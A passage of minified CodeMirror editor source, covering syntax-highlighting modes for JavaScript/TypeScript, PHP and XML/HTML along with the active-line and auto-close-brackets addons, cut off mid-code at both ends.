Y(a,b){return"variable"==a||"keyword"==A.style?(A.marked="property","get"==b||"set"==b?C(Z):C($)):"number"==a||"string"==a?(A.marked=f?"property":A.style+" property",C($)):"jsonld-keyword"==a?C($):"["==a?C(L,J("]"),$):void 0}function Z(a){return"variable"!=a?B($):(A.marked="property",C(pb))}function $(a){return":"==a?C(M):"("==a?B(pb):void 0}function _(a,b){function c(d){if(","==d){var e=A.state.lexical;return"call"==e.info&&(e.pos=(e.pos||0)+1),C(a,c)}return d==b?C():C(J(b))}return function(d){return d==b?C():B(a,c)}}function ab(a,b,c){for(var d=3;d<arguments.length;d++)A.cc.push(arguments[d]);return C(H(b,c),_(a,b),I)}function bb(a){return"}"==a?C():B(K,bb)}function cb(a){return h&&":"==a?C(db):void 0}function db(a){return"variable"==a?(A.marked="variable-3",C()):void 0}function eb(){return B(fb,cb,hb,ib)}function fb(a,b){return"variable"==a?(D(b),C()):"["==a?ab(fb,"]"):"{"==a?ab(gb,"}"):void 0}function gb(a,b){return"variable"!=a||A.stream.match(/^\s*:/,!1)?("variable"==a&&(A.marked="property"),C(J(":"),fb,hb)):(D(b),C(hb))}function hb(a,b){return"="==b?C(M):void 0}function ib(a){return","==a?C(eb):void 0}function jb(a,b){return"keyword b"==a&&"else"==b?C(H("form","else"),K,I):void 0}function kb(a){return"("==a?C(H(")"),lb,J(")"),I):void 0}function lb(a){return"var"==a?C(eb,J(";"),nb):";"==a?C(nb):"variable"==a?C(mb):B(L,J(";"),nb)}function mb(a,b){return"in"==b||"of"==b?(A.marked="keyword",C(L)):C(Q,nb)}function nb(a,b){return";"==a?C(ob):"in"==b||"of"==b?(A.marked="keyword",C(L)):B(L,J(";"),ob)}function ob(a){")"!=a&&C(L)}function pb(a,b){return"*"==b?(A.marked="keyword",C(pb)):"variable"==a?(D(b),C(pb)):"("==a?C(F,H(")"),_(qb,")"),I,K,G):void 0}function qb(a){return"spread"==a?C(qb):B(fb,cb)}function rb(a,b){return"variable"==a?(D(b),C(sb)):void 0}function sb(a,b){return"extends"==b?C(L,sb):"{"==a?C(H("}"),tb,I):void 0}function tb(a,b){return"variable"==a||"keyword"==A.style?(A.marked="property","get"==b||"set"==b?C(ub,pb,tb):C(pb,tb)):"*"==b?(A.marked="keyword",C(tb)):";"==a?C(tb):"}"==a?C():void 0}function ub(a){return"variable"!=a?B():(A.marked="property",C())}function vb(a,b){return"string"==a?C(K):"variable"==a?(D(b),C(zb)):void 0}function wb(a,b){return"*"==b?(A.marked="keyword",C(zb,J(";"))):"default"==b?(A.marked="keyword",C(L,J(";"))):B(K)}function xb(a){return"string"==a?C():B(yb,zb)}function yb(a,b){return"{"==a?ab(yb,"}"):("variable"==a&&D(b),C())}function zb(a,b){return"from"==b?(A.marked="keyword",C(L)):void 0}function Ab(a){return"]"==a?C():B(M,Bb)}function Bb(a){return"for"==a?B(Cb,J("]")):","==a?C(_(P,"]")):B(_(M,"]"))}function Cb(a){return"for"==a?C(kb,Cb):"if"==a?C(L,Cb):void 0}var n,o,d=b.indentUnit,e=c.statementIndent,f=c.jsonld,g=c.json||f,h=c.typescript,i=c.wordCharacters||/[\w$\xa1-\uffff]/,j=function(){function a(a){return{type:a,style:"keyword"}}var b=a("keyword a"),c=a("keyword b"),d=a("keyword c"),e=a("operator"),f={type:"atom",style:"atom"},g={"if":a("if"),"while":b,"with":b,"else":c,"do":c,"try":c,"finally":c,"return":d,"break":d,"continue":d,"new":d,"delete":d,"throw":d,"debugger":d,"var":a("var"),"const":a("var"),let:a("var"),"function":a("function"),"catch":a("catch"),"for":a("for"),"switch":a("switch"),"case":a("case"),"default":a("default"),"in":e,"typeof":e,"instanceof":e,"true":f,"false":f,"null":f,undefined:f,NaN:f,Infinity:f,"this":a("this"),module:a("module"),"class":a("class"),"super":a("atom"),yield:d,"export":a("export"),"import":a("import"),"extends":d};if(h){var i={type:"variable",style:"variable-3"},j={"interface":a("interface"),"extends":a("extends"),constructor:a("constructor"),"public":a("public"),"private":a("private"),"protected":a("protected"),"static":a("static"),string:i,number:i,bool:i,any:i};for(var k in j)g[k]=j[k]}return g}(),k=/[+\-*&%=<>!?|~^]/,l=/^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)"/,u="([{}])",w={atom:!0,number:!0,variable:!0,string:!0,regexp:!0,"this":!0,"jsonld-keyword":!0},A={state:null,column:null,marked:null,cc:null},E={name:"this",next:{name:"arguments"}};return I.lex=!0,{startState:function(a){var b={tokenize:q,lastType:"sof",cc:[],lexical:new x((a||0)-d,0,"block",!1),localVars:c.localVars,context:c.localVars&&{vars:c.localVars},indented:0};return c.globalVars&&"object"==typeof c.globalVars&&(b.globalVars=c.globalVars),b},token:function(a,b){if(a.sol()&&(b.lexical.hasOwnProperty("align")||(b.lexical.align=!1),b.indented=a.indentation(),v(a,b)),b.tokenize!=s&&a.eatSpace())return null;var c=b.tokenize(a,b);return"comment"==n?c:(b.lastType="operator"!=n||"++"!=o&&"--"!=o?n:"incdec",z(b,c,n,o,a))},indent:function(b,f){if(b.tokenize==s)return a.Pass;if(b.tokenize!=q)return 0;var g=f&&f.charAt(0),h=b.lexical;if(!/^\s*else\b/.test(f))for(var i=b.cc.length-1;i>=0;--i){var j=b.cc[i];if(j==I)h=h.prev;else if(j!=jb)break}"stat"==h.type&&"}"==g&&(h=h.prev),e&&")"==h.type&&"stat"==h.prev.type&&(h=h.prev);var k=h.type,l=g==k;return"vardef"==k?h.indented+("operator"==b.lastType||","==b.lastType?h.info+1:0):"form"==k&&"{"==g?h.indented:"form"==k?h.indented+d:"stat"==k?h.indented+("operator"==b.lastType||","==b.lastType?e||d:0):"switch"!=h.info||l||0==c.doubleIndentSwitch?h.align?h.column+(l?0:1):h.indented+(l?0:d):h.indented+(/^(?:case|default)\b/.test(f)?d:2*d)},electricInput:/^\s*(?:case .*?:|default:|\{|\})$/,blockCommentStart:g?null:"/*",blockCommentEnd:g?null:"*/",lineComment:g?null:"//",fold:"brace",helperType:g?"json":"javascript",jsonldMode:f,jsonMode:g}}),a.registerHelper("wordChars","javascript",/[\w$]/),a.defineMIME("text/javascript","javascript"),a.defineMIME("text/ecmascript","javascript"),a.defineMIME("application/javascript","javascript"),a.defineMIME("application/x-javascript","javascript"),a.defineMIME("application/ecmascript","javascript"),a.defineMIME("application/json",{name:"javascript",json:!0}),a.defineMIME("application/x-json",{name:"javascript",json:!0}),a.defineMIME("application/ld+json",{name:"javascript",jsonld:!0}),a.defineMIME("text/typescript",{name:"javascript",typescript:!0}),a.defineMIME("application/typescript",{name:"javascript",typescript:!0})}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror"),require("../htmlmixed/htmlmixed"),require("../clike/clike")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","../htmlmixed/htmlmixed","../clike/clike"],a):a(CodeMirror)}(function(a){"use strict";function b(a){for(var b={},c=a.split(" "),d=0;d<c.length;++d)b[c[d]]=!0;return b}function c(a,b){return 0==a.length?d(b):function(e,f){for(var g=a[0],h=0;h<g.length;h++)if(e.match(g[h][0]))return f.tokenize=c(a.slice(1),b),g[h][1];return f.tokenize=d(b),"string"}}function d(a){return function(b,c){return e(b,c,a)}}function e(a,b,d){if(a.match("${",!1)||a.match("{$",!1))return b.tokenize=null,"string";if(a.match(/^\$[a-zA-Z_][a-zA-Z0-9_]*/))return a.match("[",!1)&&(b.tokenize=c([[["[",null]],[[/\d[\w\.]*/,"number"],[/\$[a-zA-Z_][a-zA-Z0-9_]*/,"variable-2"],[/[\w\$]+/,"variable"]],[["]",null]]],d)),a.match(/\-\>\w/,!1)&&(b.tokenize=c([[["->",null]],[[/[\w]+/,"variable"]]],d)),"variable-2";for(var e=!1;!a.eol()&&(e||!a.match("{$",!1)&&!a.match(/^(\$[a-zA-Z_][a-zA-Z0-9_]*|\$\{)/,!1));){if(!e&&a.match(d)){b.tokenize=null,b.tokStack.pop(),b.tokStack.pop();break}e="\\"==a.next()&&!e}return"string"}var f="abstract and array as break case catch class clone const continue declare default do else elseif enddeclare endfor endforeach endif endswitch endwhile extends final for foreach function global goto if implements interface instanceof namespace new or private protected public static switch throw trait try use var while xor die echo empty exit eval include include_once isset list require require_once return print unset __halt_compiler self static parent yield insteadof finally",g="true false null TRUE FALSE NULL __CLASS__ __DIR__ __FILE__ __LINE__ __METHOD__ __FUNCTION__ __NAMESPACE__ __TRAIT__",h="func_num_args func_get_arg func_get_args strlen strcmp strncmp strcasecmp strncasecmp each error_reporting define defined trigger_error user_error set_error_handler restore_error_handler get_declared_classes get_loaded_extensions extension_loaded get_extension_funcs debug_backtrace constant bin2hex hex2bin sleep usleep time mktime gmmktime strftime gmstrftime strtotime date gmdate getdate localtime checkdate flush wordwrap htmlspecialchars htmlentities html_entity_decode md5 md5_file crc32 getimagesize image_type_to_mime_type phpinfo phpversion phpcredits strnatcmp strnatcasecmp substr_count strspn strcspn strtok strtoupper strtolower strpos strrpos strrev hebrev hebrevc nl2br basename dirname pathinfo stripslashes stripcslashes strstr stristr strrchr str_shuffle str_word_count strcoll substr substr_replace quotemeta ucfirst ucwords strtr addslashes addcslashes rtrim str_replace str_repeat count_chars chunk_split trim ltrim strip_tags similar_text explode implode setlocale localeconv parse_str str_pad chop strchr sprintf printf vprintf vsprintf sscanf fscanf parse_url urlencode urldecode rawurlencode rawurldecode readlink linkinfo link unlink exec system escapeshellcmd escapeshellarg passthru shell_exec proc_open proc_close rand srand getrandmax mt_rand mt_srand mt_getrandmax base64_decode base64_encode abs ceil floor round is_finite is_nan is_infinite bindec hexdec octdec decbin decoct dechex base_convert number_format fmod ip2long long2ip getenv putenv getopt microtime gettimeofday getrusage uniqid quoted_printable_decode set_time_limit get_cfg_var magic_quotes_runtime set_magic_quotes_runtime get_magic_quotes_gpc get_magic_quotes_runtime import_request_variables error_log serialize unserialize memory_get_usage var_dump var_export debug_zval_dump print_r highlight_file show_source highlight_string ini_get ini_get_all ini_set ini_alter ini_restore get_include_path set_include_path restore_include_path setcookie header headers_sent connection_aborted connection_status ignore_user_abort parse_ini_file is_uploaded_file move_uploaded_file intval floatval doubleval strval gettype settype is_null is_resource is_bool is_long is_float is_int is_integer is_double is_real is_numeric is_string is_array is_object is_scalar ereg ereg_replace eregi eregi_replace split spliti join sql_regcase dl pclose popen readfile rewind rmdir umask fclose feof fgetc fgets fgetss fread fopen fpassthru ftruncate fstat fseek ftell fflush fwrite fputs mkdir rename copy tempnam tmpfile file file_get_contents stream_select stream_context_create stream_context_set_params stream_context_set_option stream_context_get_options stream_filter_prepend stream_filter_append fgetcsv flock get_meta_tags stream_set_write_buffer set_file_buffer set_socket_blocking stream_set_blocking socket_set_blocking stream_get_meta_data stream_register_wrapper stream_wrapper_register stream_set_timeout socket_set_timeout socket_get_status realpath fnmatch fsockopen pfsockopen pack unpack get_browser crypt opendir closedir chdir getcwd rewinddir readdir dir glob fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype file_exists is_writable is_writeable is_readable is_executable is_file is_dir is_link stat lstat chown touch clearstatcache mail ob_start ob_flush ob_clean ob_end_flush ob_end_clean ob_get_flush ob_get_clean ob_get_length ob_get_level ob_get_status ob_get_contents ob_implicit_flush ob_list_handlers ksort krsort natsort natcasesort asort arsort sort rsort usort uasort uksort shuffle array_walk count end prev next reset current key min max in_array array_search extract compact array_fill range array_multisort array_push array_pop array_shift array_unshift array_splice array_slice array_merge array_merge_recursive array_keys array_values array_count_values array_reverse array_reduce array_pad array_flip array_change_key_case array_rand array_unique array_intersect array_intersect_assoc array_diff array_diff_assoc array_sum array_filter array_map array_chunk array_key_exists pos sizeof key_exists assert assert_options version_compare ftok str_rot13 aggregate session_name session_module_name session_save_path session_id session_regenerate_id session_decode session_register session_unregister session_is_registered session_encode session_start session_destroy session_unset session_set_save_handler session_cache_limiter session_cache_expire session_set_cookie_params session_get_cookie_params session_write_close preg_match preg_match_all preg_replace preg_replace_callback preg_split preg_quote preg_grep overload ctype_alnum ctype_alpha ctype_cntrl ctype_digit ctype_lower ctype_graph ctype_print ctype_punct ctype_space ctype_upper ctype_xdigit virtual apache_request_headers apache_note apache_lookup_uri apache_child_terminate apache_setenv apache_response_headers apache_get_version getallheaders mysql_connect mysql_pconnect mysql_close mysql_select_db mysql_create_db mysql_drop_db mysql_query mysql_unbuffered_query mysql_db_query mysql_list_dbs mysql_list_tables mysql_list_fields mysql_list_processes mysql_error mysql_errno mysql_affected_rows mysql_insert_id mysql_result mysql_num_rows mysql_num_fields mysql_fetch_row mysql_fetch_array mysql_fetch_assoc mysql_fetch_object mysql_data_seek mysql_fetch_lengths mysql_fetch_field mysql_field_seek mysql_free_result mysql_field_name mysql_field_table mysql_field_len mysql_field_type mysql_field_flags mysql_escape_string mysql_real_escape_string mysql_stat mysql_thread_id mysql_client_encoding mysql_get_client_info mysql_get_host_info mysql_get_proto_info mysql_get_server_info mysql_info mysql mysql_fieldname mysql_fieldtable mysql_fieldlen mysql_fieldtype mysql_fieldflags mysql_selectdb mysql_createdb mysql_dropdb mysql_freeresult mysql_numfields mysql_numrows mysql_listdbs mysql_listtables mysql_listfields mysql_db_name mysql_dbname mysql_tablename mysql_table_name pg_connect pg_pconnect pg_close pg_connection_status pg_connection_busy pg_connection_reset pg_host pg_dbname pg_port pg_tty pg_options pg_ping pg_query pg_send_query pg_cancel_query pg_fetch_result pg_fetch_row pg_fetch_assoc pg_fetch_array pg_fetch_object pg_fetch_all pg_affected_rows pg_get_result pg_result_seek pg_result_status pg_free_result pg_last_oid pg_num_rows pg_num_fields pg_field_name pg_field_num pg_field_size pg_field_type pg_field_prtlen pg_field_is_null pg_get_notify pg_get_pid pg_result_error pg_last_error pg_last_notice pg_put_line pg_end_copy pg_copy_to pg_copy_from pg_trace pg_untrace pg_lo_create pg_lo_unlink pg_lo_open pg_lo_close pg_lo_read pg_lo_write pg_lo_read_all pg_lo_import pg_lo_export pg_lo_seek pg_lo_tell pg_escape_string pg_escape_bytea pg_unescape_bytea pg_client_encoding pg_set_client_encoding pg_meta_data pg_convert pg_insert pg_update pg_delete pg_select pg_exec pg_getlastoid pg_cmdtuples pg_errormessage pg_numrows pg_numfields pg_fieldname pg_fieldsize pg_fieldtype pg_fieldnum pg_fieldprtlen pg_fieldisnull pg_freeresult pg_result pg_loreadall pg_locreate pg_lounlink pg_loopen pg_loclose pg_loread pg_lowrite pg_loimport pg_loexport http_response_code get_declared_traits getimagesizefromstring socket_import_stream stream_set_chunk_size trait_exists header_register_callback class_uses session_status session_register_shutdown echo print global static exit array empty eval isset unset die include require include_once require_once json_decode json_encode json_last_error json_last_error_msg curl_close curl_copy_handle curl_errno curl_error curl_escape curl_exec curl_file_create curl_getinfo curl_init curl_multi_add_handle curl_multi_close curl_multi_exec curl_multi_getcontent curl_multi_info_read curl_multi_init curl_multi_remove_handle curl_multi_select curl_multi_setopt curl_multi_strerror curl_pause curl_reset curl_setopt_array curl_setopt curl_share_close curl_share_init curl_share_setopt curl_strerror curl_unescape curl_version mysqli_affected_rows mysqli_autocommit mysqli_change_user mysqli_character_set_name mysqli_close mysqli_commit mysqli_connect_errno mysqli_connect_error mysqli_connect mysqli_data_seek mysqli_debug mysqli_dump_debug_info mysqli_errno mysqli_error_list mysqli_error mysqli_fetch_all mysqli_fetch_array mysqli_fetch_assoc mysqli_fetch_field_direct mysqli_fetch_field mysqli_fetch_fields mysqli_fetch_lengths mysqli_fetch_object mysqli_fetch_row mysqli_field_count mysqli_field_seek mysqli_field_tell mysqli_free_result mysqli_get_charset mysqli_get_client_info mysqli_get_client_stats mysqli_get_client_version mysqli_get_connection_stats mysqli_get_host_info mysqli_get_proto_info mysqli_get_server_info mysqli_get_server_version mysqli_info mysqli_init mysqli_insert_id mysqli_kill mysqli_more_results mysqli_multi_query mysqli_next_result mysqli_num_fields mysqli_num_rows mysqli_options mysqli_ping mysqli_prepare mysqli_query mysqli_real_connect mysqli_real_escape_string mysqli_real_query mysqli_reap_async_query mysqli_refresh mysqli_rollback mysqli_select_db mysqli_set_charset mysqli_set_local_infile_default mysqli_set_local_infile_handler mysqli_sqlstate mysqli_ssl_set mysqli_stat mysqli_stmt_init mysqli_store_result mysqli_thread_id mysqli_thread_safe mysqli_use_result mysqli_warning_count";a.registerHelper("hintWords","php",[f,g,h].join(" ").split(" ")),a.registerHelper("wordChars","php",/[\w$]/);var i={name:"clike",helperType:"php",keywords:b(f),blockKeywords:b("catch do else elseif for foreach if switch try while finally"),atoms:b(g),builtin:b(h),multiLineStrings:!0,hooks:{$:function(a){return a.eatWhile(/[\w\$_]/),"variable-2"},"<":function(a,b){if(a.match(/<</)){a.eatWhile(/[\w\.]/);var c=a.current().slice(3);if(c)return(b.tokStack||(b.tokStack=[])).push(c,0),b.tokenize=d(c),"string"}return!1},"#":function(a){for(;!a.eol()&&!a.match("?>",!1);)a.next();return"comment"},"/":function(a){if(a.eat("/")){for(;!a.eol()&&!a.match("?>",!1);)a.next();return"comment"}return!1},'"':function(a,b){return(b.tokStack||(b.tokStack=[])).push('"',0),b.tokenize=d('"'),"string"},"{":function(a,b){return b.tokStack&&b.tokStack.length&&b.tokStack[b.tokStack.length-1]++,!1},"}":function(a,b){return b.tokStack&&b.tokStack.length>0&&!--b.tokStack[b.tokStack.length-1]&&(b.tokenize=d(b.tokStack[b.tokStack.length-2])),!1}}};a.defineMode("php",function(b,c){function f(a,b){var c=b.curMode==e;if(a.sol()&&b.pending&&'"'!=b.pending&&"'"!=b.pending&&(b.pending=null),c)return c&&null==b.php.tokenize&&a.match("?>")?(b.curMode=d,b.curState=b.html,"meta"):e.token(a,b.curState);if(a.match(/^<\?\w*/))return b.curMode=e,b.curState=b.php,"meta";if('"'==b.pending||"'"==b.pending){for(;!a.eol()&&a.next()!=b.pending;);var f="string"}else if(b.pending&&a.pos<b.pending.end){a.pos=b.pending.end;var f=b.pending.style}else var f=d.token(a,b.curState);b.pending&&(b.pending=null);var i,g=a.current(),h=g.search(/<\?/);return-1!=h&&(b.pending="string"==f&&(i=g.match(/[\'\"]$/))&&!/\?>/.test(g)?i[0]:{end:a.pos,style:f},a.backUp(g.length-h)),f}var d=a.getMode(b,"text/html"),e=a.getMode(b,i);return{startState:function(){var b=a.startState(d),f=a.startState(e);return{html:b,php:f,curMode:c.startOpen?e:d,curState:c.startOpen?f:b,pending:null}},copyState:function(b){var i,c=b.html,f=a.copyState(d,c),g=b.php,h=a.copyState(e,g);return i=b.curMode==d?f:h,{html:f,php:h,curMode:b.curMode,curState:i,pending:b.pending}},token:f,indent:function(a,b){return a.curMode!=e&&/^\s*<\//.test(b)||a.curMode==e&&/^\?>/.test(b)?d.indent(a.html,b):a.curMode.indent(a.curState,b)},blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:"//",innerMode:function(a){return{state:a.curState,mode:a.curMode}}}},"htmlmixed","clike"),a.defineMIME("application/x-httpd-php","php"),a.defineMIME("application/x-httpd-php-open",{name:"php",startOpen:!0}),a.defineMIME("text/x-php",i)}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)}(function(a){"use strict";a.defineMode("xml",function(b,c){function k(a,b){function c(c){return b.tokenize=c,c(a,b)}var d=a.next();if("<"==d)return a.eat("!")?a.eat("[")?a.match("CDATA[")?c(n("atom","]]>")):null:a.match("--")?c(n("comment","-->")):a.match("DOCTYPE",!0,!0)?(a.eatWhile(/[\w\._\-]/),c(o(1))):null:a.eat("?")?(a.eatWhile(/[\w\._\-]/),b.tokenize=n("meta","?>"),"meta"):(i=a.eat("/")?"closeTag":"openTag",b.tokenize=l,"tag bracket");if("&"==d){var e;return e=a.eat("#")?a.eat("x")?a.eatWhile(/[a-fA-F\d]/)&&a.eat(";"):a.eatWhile(/[\d]/)&&a.eat(";"):a.eatWhile(/[\w\.\-:]/)&&a.eat(";"),e?"atom":"error"}return a.eatWhile(/[^&<]/),null}function l(a,b){var c=a.next();if(">"==c||"/"==c&&a.eat(">"))return b.tokenize=k,i=">"==c?"endTag":"selfcloseTag","tag bracket";if("="==c)return i="equals",null;if("<"==c){b.tokenize=k,b.state=s,b.tagName=b.tagStart=null;var d=b.tokenize(a,b);return d?d+" tag error":"tag error"}return/[\'\"]/.test(c)?(b.tokenize=m(c),b.stringStartCol=a.column(),b.tokenize(a,b)):(a.match(/^[^\s\u00a0=<>\"\']*[^\s\u00a0=<>\"\'\/]/),"word")}function m(a){var b=function(b,c){for(;!b.eol();)if(b.next()==a){c.tokenize=l;break}return"string"};return b.isInAttribute=!0,b}function n(a,b){return function(c,d){for(;!c.eol();){if(c.match(b)){d.tokenize=k;break}c.next()}return a}}function o(a){return function(b,c){for(var d;null!=(d=b.next());){if("<"==d)return c.tokenize=o(a+1),c.tokenize(b,c);if(">"==d){if(1==a){c.tokenize=k;break}return c.tokenize=o(a-1),c.tokenize(b,c)}}return"meta"}}function p(a,b,c){this.prev=a.context,this.tagName=b,this.indent=a.indented,this.startOfLine=c,(g.doNotIndent.hasOwnProperty(b)||a.context&&a.context.noIndent)&&(this.noIndent=!0)}function q(a){a.context&&(a.context=a.context.prev)}function r(a,b){for(var c;;){if(!a.context)return;if(c=a.context.tagName,!g.contextGrabbers.hasOwnProperty(c)||!g.contextGrabbers[c].hasOwnProperty(b))return;q(a)}}function s(a,b,c){return"openTag"==a?(c.tagStart=b.column(),t):"closeTag"==a?u:s}function t(a,b,c){return"word"==a?(c.tagName=b.current(),j="tag",x):(j="error",t)}function u(a,b,c){if("word"==a){var d=b.current();return c.context&&c.context.tagName!=d&&g.implicitlyClosed.hasOwnProperty(c.context.tagName)&&q(c),c.context&&c.context.tagName==d?(j="tag",v):(j="tag error",w)
}return j="error",w}function v(a,b,c){return"endTag"!=a?(j="error",v):(q(c),s)}function w(a,b,c){return j="error",v(a,b,c)}function x(a,b,c){if("word"==a)return j="attribute",y;if("endTag"==a||"selfcloseTag"==a){var d=c.tagName,e=c.tagStart;return c.tagName=c.tagStart=null,"selfcloseTag"==a||g.autoSelfClosers.hasOwnProperty(d)?r(c,d):(r(c,d),c.context=new p(c,d,e==c.indented)),s}return j="error",x}function y(a,b,c){return"equals"==a?z:(g.allowMissing||(j="error"),x(a,b,c))}function z(a,b,c){return"string"==a?A:"word"==a&&g.allowUnquoted?(j="string",x):(j="error",x(a,b,c))}function A(a,b,c){return"string"==a?A:x(a,b,c)}var d=b.indentUnit,e=c.multilineTagIndentFactor||1,f=c.multilineTagIndentPastTag;null==f&&(f=!0);var i,j,g=c.htmlMode?{autoSelfClosers:{area:!0,base:!0,br:!0,col:!0,command:!0,embed:!0,frame:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0,menuitem:!0},implicitlyClosed:{dd:!0,li:!0,optgroup:!0,option:!0,p:!0,rp:!0,rt:!0,tbody:!0,td:!0,tfoot:!0,th:!0,tr:!0},contextGrabbers:{dd:{dd:!0,dt:!0},dt:{dd:!0,dt:!0},li:{li:!0},option:{option:!0,optgroup:!0},optgroup:{optgroup:!0},p:{address:!0,article:!0,aside:!0,blockquote:!0,dir:!0,div:!0,dl:!0,fieldset:!0,footer:!0,form:!0,h1:!0,h2:!0,h3:!0,h4:!0,h5:!0,h6:!0,header:!0,hgroup:!0,hr:!0,menu:!0,nav:!0,ol:!0,p:!0,pre:!0,section:!0,table:!0,ul:!0},rp:{rp:!0,rt:!0},rt:{rp:!0,rt:!0},tbody:{tbody:!0,tfoot:!0},td:{td:!0,th:!0},tfoot:{tbody:!0},th:{td:!0,th:!0},thead:{tbody:!0,tfoot:!0},tr:{tr:!0}},doNotIndent:{pre:!0},allowUnquoted:!0,allowMissing:!0,caseFold:!0}:{autoSelfClosers:{},implicitlyClosed:{},contextGrabbers:{},doNotIndent:{},allowUnquoted:!1,allowMissing:!1,caseFold:!1},h=c.alignCDATA;return{startState:function(){return{tokenize:k,state:s,indented:0,tagName:null,tagStart:null,context:null}},token:function(a,b){if(!b.tagName&&a.sol()&&(b.indented=a.indentation()),a.eatSpace())return null;i=null;var c=b.tokenize(a,b);return(c||i)&&"comment"!=c&&(j=null,b.state=b.state(i||c,a,b),j&&(c="error"==j?c+" error":j)),c},indent:function(b,c,i){var j=b.context;if(b.tokenize.isInAttribute)return b.tagStart==b.indented?b.stringStartCol+1:b.indented+d;if(j&&j.noIndent)return a.Pass;if(b.tokenize!=l&&b.tokenize!=k)return i?i.match(/^(\s*)/)[0].length:0;if(b.tagName)return f?b.tagStart+b.tagName.length+2:b.tagStart+d*e;if(h&&/<!\[CDATA\[/.test(c))return 0;var m=c&&/^<(\/)?([\w_:\.-]*)/.exec(c);if(m&&m[1])for(;j;){if(j.tagName==m[2]){j=j.prev;break}if(!g.implicitlyClosed.hasOwnProperty(j.tagName))break;j=j.prev}else if(m)for(;j;){var n=g.contextGrabbers[j.tagName];if(!n||!n.hasOwnProperty(m[2]))break;j=j.prev}for(;j&&!j.startOfLine;)j=j.prev;return j?j.indent+d:0},electricInput:/<\/[\s\w:]+>$/,blockCommentStart:"<!--",blockCommentEnd:"-->",configuration:c.htmlMode?"html":"xml",helperType:c.htmlMode?"html":"xml"}}),a.defineMIME("text/xml","xml"),a.defineMIME("application/xml","xml"),a.mimeModes.hasOwnProperty("text/html")||a.defineMIME("text/html",{name:"xml",htmlMode:!0})}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)}(function(a){"use strict";function d(a){for(var d=0;d<a.state.activeLines.length;d++)a.removeLineClass(a.state.activeLines[d],"wrap",b),a.removeLineClass(a.state.activeLines[d],"background",c)}function e(a,b){if(a.length!=b.length)return!1;for(var c=0;c<a.length;c++)if(a[c]!=b[c])return!1;return!0}function f(a,f){for(var g=[],h=0;h<f.length;h++){var i=f[h];if(i.empty()){var j=a.getLineHandleVisualStart(i.head.line);g[g.length-1]!=j&&g.push(j)}}e(a.state.activeLines,g)||a.operation(function(){d(a);for(var e=0;e<g.length;e++)a.addLineClass(g[e],"wrap",b),a.addLineClass(g[e],"background",c);a.state.activeLines=g})}function g(a,b){f(a,b.ranges)}var b="CodeMirror-activeline",c="CodeMirror-activeline-background";a.defineOption("styleActiveLine",!1,function(b,c,e){var h=e&&e!=a.Init;c&&!h?(b.state.activeLines=[],f(b,b.listSelections()),b.on("beforeSelectionChange",g)):!c&&h&&(b.off("beforeSelectionChange",g),d(b),delete b.state.activeLines)})}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)}(function(a){function f(a,b){var c=a.getRange(e(b.line,b.ch-1),e(b.line,b.ch+1));return 2==c.length?c:null}function g(b,c,d){var e=b.getLine(c.line),f=b.getTokenAt(c);if(/\bstring2?\b/.test(f.type))return!1;var g=new a.StringStream(e.slice(0,c.ch)+d+e.slice(c.ch),4);for(g.pos=g.start=f.start;;){var h=b.getMode().token(g,f.state);if(g.pos>=c.ch+1)return/\bstring2?\b/.test(h);g.start=g.pos}}function h(b){for(var c={name:"autoCloseBrackets",Backspace:function(c){if(c.getOption("disableInput"))return a.Pass;for(var d=c.listSelections(),g=0;g<d.length;g++){if(!d[g].empty())return a.Pass;var h=f(c,d[g].head);if(!h||0!=b.indexOf(h)%2)return a.Pass}for(var g=d.length-1;g>=0;g--){var i=d[g].head;c.replaceRange("",e(i.line,i.ch-1),e(i.line,i.ch+1))}}},h="",i=0;i<b.length;i+=2)!function(b,f){b!=f&&(h+=f),c["'"+b+"'"]=function(c){if(c.getOption("disableInput"))return a.Pass;for(var j,k,i=c.listSelections(),l=0;l<i.length;l++){var o,m=i[l],n=m.head,k=c.getRange(n,e(n.line,n.ch+1));if(m.empty())if(b==f&&k==f)o=c.getRange(n,e(n.line,n.ch+3))==b+b+b?"skipThree":"skip";else if(b==f&&n.ch>1&&c.getRange(e(n.line,n.ch-2),n)==b+b&&(n.ch<=2||c.getRange(e(n.line,n.ch-3),e(n.line,n.ch-2))!=b))o="addFour";else if('"'==b||"'"==b){if(a.isWordChar(k)||!g(c,n,b))return a.Pass;o="both"}else{if(!(c.getLine(n.line).length==n.ch||h.indexOf(k)>=0||d.test(k)))return a.Pass;o="both"}else o="surround";if(j){if(j!=o)return a.Pass}else j=o}c.operation(function(){if("skip"==j)c.execCommand("goCharRight");else if("skipThree"==j)for(var a=0;3>a;a++)c.execCommand("goCharRight");else if("surround"==j){for(var d=c.getSelections(),a=0;a<d.length;a++)d[a]=b+d[a]+f;c.replaceSelections(d,"around")}else"both"==j?(c.replaceSelection(b+f,null),c.execCommand("goCharLeft")):"addFour"==j&&(c.replaceSelection(b+b+b+b,"before"),c.execCommand("goCharRight"))})},b!=f&&(c["'"+f+"'"]=function(b){for(var c=b.listSelections(),d=0;d<c.length;d++){var g=c[d];if(!g.empty()||b.getRange(g.head,e(g.head.line,g.head.ch+1))!=f)return a.Pass}b.execCommand("goCharRight")})}(b.charAt(i),b.charAt(i+1));return c}function i(b){return function(c){if(c.getOption("disableInput"))return a.Pass;for(var d=c.listSelections(),e=0;e<d.length;e++){if(!d[e].empty())return a.Pass;var g=f(c,d[e].head);if(!g||0!=b.indexOf(g)%2)return a.Pass}c.operation(function(){c.replaceSelection("\n\n",null),c.execCommand("goCharLeft"),d=c.listSelections();for(var a=0;a<d.length;a++){var b=d[a].head.line;c.indentLine(b,null,!0),c.indentLine(b+1,null,!0)}})}}var 